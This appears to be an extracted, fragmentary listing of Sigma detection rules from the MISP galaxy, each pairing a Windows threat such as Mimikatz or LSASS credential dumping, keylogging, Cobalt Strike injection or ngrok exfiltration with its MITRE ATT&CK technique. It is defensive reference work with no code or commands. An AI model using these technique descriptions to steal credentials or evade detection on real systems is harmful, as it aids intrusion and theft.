View relationships graph

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Services Registry Permissions Weakness -"
Potential Invoke-Mimikatz PowerShell Script

Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.

The tag is: misp-galaxy:sigma-rules="Potential Invoke-Mimikatz PowerShell Script"

View relationships graph

Potential Invoke-Mimikatz PowerShell Script has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Troubleshooting Pack Cmdlet Execution

Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)

The tag is: misp-galaxy:sigma-rules="Troubleshooting Pack Cmdlet Execution"

View relationships graph

Troubleshooting Pack Cmdlet Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
Active Directory Computers Enumeration With Get-AdComputer

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

The tag is: `misp-galaxy:sigma-rules="Active Directory Computers Enumeration With Get-AdComputer"`

View relationships graph

Active Directory Computers Enumeration With Get-AdComputer has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"

Detected Windows Software Discovery - PowerShell

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

The tag is: `misp-galaxy:sigma-rules="Detected Windows Software Discovery - PowerShell"`

View relationships graph

Detected Windows Software Discovery - PowerShell has relationships with:
**Invoke-Obfuscation Via Use Clip - Powershell**

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - Powershell"`

**View relationships graph**

Invoke-Obfuscation Via Use Clip - Powershell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimation-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimation-language:likelihood-probability="almost-certain"

**Suspicious Connection to Remote Account**

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism

The tag is: `misp-galaxy:sigma-rules="Suspicious Connection to Remote Account"`

**View relationships graph**

Suspicious Connection to Remote Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"` with estimation-
Suspicious Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: *misp-galaxy:sigma-rules="Suspicious Mount-DiskImage"*

View relationships graph

Suspicious Mount-DiskImage has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005"* with estimative-language:likelihood-probability="almost-certain"

Potential Suspicious PowerShell Keywords

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious PowerShell Keywords"*

View relationships graph

Potential Suspicious PowerShell Keywords has relationships with:
Recon Information for Export with PowerShell

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: `misp-galaxy:sigma-rules="Recon Information for Export with PowerShell"`

View relationships graph

Recon Information for Export with PowerShell has relationships with:

Potential Suspicious Windows Feature Enabled

Detected usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Windows Feature Enabled"`
Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy

Detects PowerShell activity in which Get-AdDefaultDomainPasswordPolicy is used to get the default password policy for an Active Directory domain.

The tag is: misp-galaxy:sigma-rules="Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy"

View relationships graph

Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 9129. Table References

Suspicious Start-Process PassThru

Powershell use PassThru option to start in background

The tag is: misp-galaxy:sigma-rules="Suspicious Start-Process PassThru"

View relationships graph

Suspicious Start-Process PassThru has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with
Remove Account From Domain Admin Group

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

The tag is: \textit{misp-galaxy:sigma-rules}="Remove Account From Domain Admin Group"

View relationships graph

Remove Account From Domain Admin Group has relationships with:

PowerShell Deleted Mounted Share

Detects when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

The tag is: \textit{misp-galaxy:sigma-rules}="PowerShell Deleted Mounted Share"

View relationships graph

PowerShell Deleted Mounted Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"
Suspicious TCP Tunnel Via PowerShell Script

Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity

The tag is: `misp-galaxy:sigma-rules="Suspicious TCP Tunnel Via PowerShell Script"`

View relationships graph

Suspicious TCP Tunnel Via PowerShell Script has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

PowerShell ShellCode

Detects Base64 encoded Shellcode

The tag is: `misp-galaxy:sigma-rules="PowerShell ShellCode"`

View relationships graph

PowerShell ShellCode has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Get Local Groups Information - PowerShell

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

The tag is: `misp-galaxy:sigma-rules="Suspicious Get Local Groups Information - PowerShell"`

Zip A Folder With PowerShell For Staging In Temp - PowerShell Script

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration.

The tag is: `misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell Script"`
Potential Keylogger Activity

Detects PowerShell scripts that contains reference to keystroke capturing functions

The tag is: `misp-galaxy:sigma-rules="Potential Keylogger Activity"`

View relationships graph

Potential Keylogger Activity has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"

Registry-Free Process Scope COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)

The tag is: *misp-galaxy:sigma-rules="Registry-Free Process Scope COR_PROFILER"*

### Potential Defense Evasion Via Raw Disk Access By Uncommon Tools

Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts.

The tag is: `misp-galaxy:sigma-rules="Potential Defense Evasion Via Raw Disk Access By Uncommon Tools"`
Password Dumper Remote Thread in LSASS

Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.

The tag is: *misp-galaxy: sigma-rules="Password Dumper Remote Thread in LSASS"

Remote Thread Creation In Uncommon Target Image

Detects uncommon target processes for remote thread creation

The tag is: *misp-galaxy: sigma-rules="Remote Thread Creation In Uncommon Target Image"
Remote Thread Creation In Mstsc.Exe From Suspicious Location

Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation In Mstsc.Exe From Suspicious Location"*

Remote Thread Creation Via PowerShell In Potentially Suspicious Target

Detects the creation of a remote thread from a Powershell process in a potentially suspicious target process

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation Via PowerShell In Potentially Suspicious Target"*

View relationships graph

Remote Thread Creation Via PowerShell In Potentially Suspicious Target has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"* with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"* with estimative-language:likelihood-probability="almost-certain"
Remote Thread Created In KeePass.EXE

Detects remote thread creation in "KeePass.exe" which could indicate potential password dumping activity

The tag is: misp-galaxy: sigma-rules="Remote Thread Created In KeePass.EXE"

View relationships graph

Remote Thread Created In KeePass.EXE has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"

HackTool - Potential CobaltStrike Process Injection

Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons

The tag is: misp-galaxy: sigma-rules="HackTool - Potential CobaltStrike Process Injection"

View relationships graph

HackTool - Potential CobaltStrike Process Injection has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
Remote Thread Creation Ttdinject.exe Proxy

Detects a remote thread creation of Ttdinject.exe used as proxy

The tag is: `misp-galaxy:sigma-rules="Remote Thread Creation Ttdinject.exe Proxy"`

View relationships graph

Remote Thread Creation Ttdinject.exe Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"

Network Connection Initiated By Regsvr32.EXE

Detects network connections initiated by Regsvr32.exe

The tag is: misp-galaxy:sigma-rules="Network Connection Initiated By Regsvr32.EXE"

View relationships graph

Network Connection Initiated By Regsvr32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
Remote PowerShell Session (Network)

Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.

The tag is: `misp-galaxy:sigma-rules="Remote PowerShell Session (Network)"

View relationships graph

Remote PowerShell Session (Network) has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Microsoft Sync Center Suspicious Network Connections

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

The tag is: `misp-galaxy:sigma-rules="Microsoft Sync Center Suspicious Network Connections"

View relationships graph

Microsoft Sync Center Suspicious Network Connections has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
**RDP to HTTP or HTTPS Target Ports**

Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443

The tag is: `misp-galaxy:sigma-rules="RDP to HTTP or HTTPS Target Ports"`

**Excel Network Connections**

Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292. You will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.

The tag is: `misp-galaxy:sigma-rules="Excel Network Connections"`
Suspicious Outbound SMTP Connections

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

The tag is: misp-galaxy:sigma-rules="Suspicious Outbound SMTP Connections"

Microsoft Binary Suspicious Communication Endpoint

Detects an executable in the Windows folder accessing suspicious domains

The tag is: misp-galaxy:sigma-rules="Microsoft Binary Suspicious Communication Endpoint"
Communication To Ngrok Tunneling Service

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

The tag is: `misp-galaxy:sigma-rules="Communication To Ngrok Tunneling Service"`

### View relationships graph

Communication To Ngrok Tunneling Service has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"

GoToAssist Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Potentially Suspicious DMP/HDMP File Creation

Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.
The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious DMP/HDMP File Creation"`

### Table 9274. Table References

<table>

### Potential Homoglyph Attack Using Lookalike Characters in Filename

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

The tag is: `misp-galaxy:sigma-rules="Potential Homoglyph Attack Using Lookalike Characters in Filename"`

**View relationships graph**

Potential Homoglyph Attack Using Lookalike Characters in Filename has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-
GatherNetworkInfo.VBS Reconnaissance Script Output

Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".

The tag is: misp-galaxy:sigma-rules="GatherNetworkInfo.VBS Reconnaissance Script Output"

LiveKD Kernel Memory Dump File Created

Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.

The tag is: misp-galaxy:sigma-rules="LiveKD Kernel Memory Dump File Created"

Visual Studio Code Tunnel Remote File Creation

Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature.

The tag is: misp-galaxy:sigma-rules="Visual Studio Code Tunnel Remote File Creation"
Potential Persistence Via Outlook Form

Detects the creation of a new Outlook form which can contain malicious code

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Outlook Form"

View relationships graph

Potential Persistence Via Outlook Form has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

Malicious DLL File Dropped in the Teams or OneDrive Folder

Detects creation of a malicious DLL file in the location where the OneDrive or Team applications
Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded

The tag is: misp-galaxy:sigma-rules="Malicious DLL File Dropped in the Teams or OneDrive Folder"

View relationships graph

**Created Files by Microsoft Sync Center**

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

The tag is: *misp-galaxy: sigma-rules=* "Created Files by Microsoft Sync Center"

View relationships graph

Created Files by Microsoft Sync Center has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9287. Table References
Suspicious Binary Writes Via AnyDesk

Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)

The tag is: `misp-galaxy:sigma-rules="Suspicious Binary Writes Via AnyDesk"`

View relationships graph

Suspicious Binary Writes Via AnyDesk has relationships with:

Potential RipZip Attack on Startup Folder

Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.

The tag is: `misp-galaxy:sigma-rules="Potential RipZip Attack on Startup Folder"`

View relationships graph

Potential RipZip Attack on Startup Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"` with estimative-language:likelihood-probability="almost-certain"
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream

Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"

The tag is: misp-galaxy:sigma-rules="Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream"

View relationships graph

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

**Suspicious desktop.ini Action**

Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.

The tag is: *misp-galaxy: sigma-rules="Suspicious desktop.ini Action"*

View relationships graph

Suspicious desktop.ini Action has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
Drop Binaries Into Spool Drivers Color Folder

Detects the creation of suspicious binary files inside the "\windows\system32\spool\drivers\color" as seen in the blog referenced below

The tag is: *misp-galaxy:sigma-rules*="Drop Binaries Into Spool Drivers Color Folder"

Potential Winnti Dropper Activity

Detects files dropped by Winnti as described in RedMimicry Winnti playbook

The tag is: *misp-galaxy:sigma-rules*="Potential Winnti Dropper Activity"

View relationships graph

Potential Winnti Dropper Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Suspicious PFX File Creation

A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.

The tag is: *misp-galaxy:sigma-rules*="Suspicious PFX File Creation"
Suspicious PFX File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

### Anydesk Temporary Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Potential Startup Shortcut Persistence Via PowerShell.EXE

Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"

The tag is: misp-galaxy:sigma-rules="Potential Startup Shortcut Persistence Via PowerShell.EXE"

View relationships graph

ScreenConnect Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

DNS Query To Remote Access Software Domain From Non-Browser App

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Potential Meterpreter/CobaltStrike Activity

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting

The tag is: misp-galaxy:sigma-rules="Potential Meterpreter/CobaltStrike Activity"

Remote Access Tool - Anydesk Execution From Suspicious Folder

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - Anydesk Execution From Suspicious Folder"
Disabled Volume Snapshots

Detects commands that temporarily turn off Volume Snapshots

The tag is: misp-galaxy: sigma-rules="Disabled Volume Snapshots"

View relationships graph

Disabled Volume Snapshots has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Microsoft IIS Connection Strings Decryption

Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.

The tag is: misp-galaxy: sigma-rules="Microsoft IIS Connection Strings Decryption"

View relationships graph

Microsoft IIS Connection Strings Decryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Dumping Process via Sqldumper.exe

Detects process dump via legitimate sqldumper.exe binary

The tag is: `misp-galaxy:sigma-rules="Dumping Process via Sqldumper.exe"`

View relationships graph

Dumping Process via Sqldumper.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Potential Command Line Path Traversal Evasion Attempt

Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline

The tag is: misp-galaxy:sigma-rules="Potential Command Line Path Traversal Evasion Attempt"

View relationships graph

Potential Command Line Path Traversal Evasion Attempt has relationships with:
Regsvr32 Execution From Highly Suspicious Location

Detected execution of regsvr32 where the DLL is located in a highly suspicious locations

The tag is: misp-galaxy:sigma-rules="Regsvr32 Execution From Highly Suspicious Location"

View relationships graph

Regsvr32 Execution From Highly Suspicious Location has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Chromium Browser Instance Executed With Custom Extension

Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension

The tag is: misp-galaxy:sigma-rules="Chromium Browser Instance Executed With Custom Extension"

View relationships graph

Chromium Browser Instance Executed With Custom Extension has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
Browser Execution In Headless Mode

Detects execution of Chromium based browser in headless mode

The tag is: misp-galaxy:sigma-rules="Browser Execution In Headless Mode"

View relationships graph

Browser Execution In Headless Mode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Potentially Suspicious Child Process Of WinRAR.EXE

Detects potentially suspicious child processes of WinRAR.exe.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of WinRAR.EXE"

View relationships graph

Potentially Suspicious Child Process Of WinRAR.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Taskmgr as LOCAL_SYSTEM

Detected the creation of taskmgr.exe process in context of LOCAL_SYSTEM.

The tag is: misp-galaxy:sigma-rules="Taskmgr as LOCAL_SYSTEM"

View relationships graph

Taskmgr as LOCAL_SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Suspicious Execution Of PDQDeployRunner

Detected suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines.

The tag is: misp-galaxy:sigma-rules="Suspicious Execution Of PDQDeployRunner"

ETW Logging Tamper In .NET Processes

Detected changes to environment variables related to ETW logging. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: misp-galaxy:sigma-rules="ETW Logging Tamper In .NET Processes"
Security Tools Keyword Lookup Via Findstr.EXE

Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.

The tag is: misp-galaxy:sigma-rules="Security Tools Keyword Lookup Via Findstr.EXE"

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
Allow Service Access Using Security Descriptor Tampering Via Sc.EXE

Detects suspicious DACL modifications to allow access to a service from a suspicious trustee. This can be used to override access restrictions set by previous ACLs.

The tag is: `misp-galaxy:sigma-rules="Allow Service Access Using Security Descriptor Tampering Via Sc.EXE"`

Indirect Command Execution From Script File Via Bash.EXE

Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.

The tag is: `misp-galaxy:sigma-rules="Indirect Command Execution From Script File Via Bash.EXE"`
**Wscript Shell Run In CommandLine**

Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity.

The tag is: `misp-galaxy:sigma-rules="Wscript Shell Run In CommandLine"`

View relationships graph

Wscript Shell Run In CommandLine has relationships with:

- **related-to**: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

**Conhost.exe CommandLine Path Traversal**

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

The tag is: `misp-galaxy:sigma-rules="Conhost.exe CommandLine Path Traversal"`

View relationships graph

Conhost.exe CommandLine Path Traversal has relationships with:

- **related-to**: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
PowerShell Base64 Encoded Invoke Keyword

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

The tag is: misp-galaxy:sigma-rules="PowerShell Base64 Encoded Invoke Keyword"

Renamed AutoHotkey.EXE Execution

Detects execution of a renamed autohotkey.exe binary based on PE metadata fields

The tag is: misp-galaxy:sigma-rules="Renamed AutoHotkey.EXE Execution"

Detection of PowerShell Execution via Sqlps.exe

This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this
case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

The tag is: \textit{misp-galaxy:sigma-rules="Detection of PowerShell Execution via Sqlps.exe"}

\textbf{View relationships graph}

Detection of PowerShell Execution via Sqlps.exe has relationships with:

\textbf{Use of UltraViewer Remote Access Software}

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote Access Tool - GoToAssist Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

**Remote Access Tool - ScreenConnect Execution**

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Potential Credential Dumping Attempt Using New NetworkProvider - CLI

Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Using New NetworkProvider - CLI"*
Use of Pcalua For Execution

Detects execution of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules*="Use of Pcalua For Execution"

Install New Package Via Winget Local Manifest

Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

The tag is: *misp-galaxy:sigma-rules*="Install New Package Via Winget Local Manifest"
Install New Package Via Winget Local Manifest has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9645. Table References

Usage Of Web Request Commands And Cmdlets

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

The tag is: misp-galaxy:sigma-rules="Usage Of Web Request Commands And Cmdlets"

View relationships graph

Usage Of Web Request Commands And Cmdlets has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

